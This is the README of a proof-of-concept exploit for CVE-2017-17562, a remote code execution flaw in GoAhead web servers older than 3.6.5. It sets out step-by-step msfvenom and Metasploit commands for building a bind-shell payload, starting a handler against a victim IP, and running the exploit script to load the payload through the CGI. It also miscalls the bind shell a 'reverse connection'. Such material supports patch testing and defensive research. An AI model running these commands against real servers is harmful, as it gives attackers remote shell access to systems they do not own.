CVE-2017-17562 PoC — Embedthis GoAhead 安全漏洞

Description

Exploit for CVE-2017-17562 vulnerability, that allows RCE on GoAhead (< v3.6.5) if the CGI is enabled and a CGI program is dynamically linked.

介绍

# GoAhead Web Server 2.5 < 3.6.5 - HTTPd 'LD_PRELOAD' Remote Code Execution

Exploit for CVE-2017-17562 vulnerability, that allows RCE on GoAhead (&lt; v3.6.5) if the CGI is enabled and a CGI program is dynamically linked.

## Usage

```sh
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
```

## Requirements

```
$ python3 -m pip install -r requirements.txt
```

### Attention!

You need to generate the payload and set up the listening connection first.  
Example:  
(Attacker: 192.168.1.100 - Victim: 192.168.1.200)  

```sh
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337
```

Then, in another shell, you must run this exploit to send the payload that will start the reverse connection to the listener!  

### Arguments

```txt
Required arguments:
  --host HOST        Host running the GoAhead webserver.
  --port PORT        Port running the GoAhead webserver. Default: 80
  --payload PAYLOAD  Path to the payload.

Optional arguments:
  --ssl              Host is using SSL.
  --cgi LIST         Paths list to discover the CGI script on the GoAhead server. Default: paths.lst
```

## Example

```sh
$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl
```
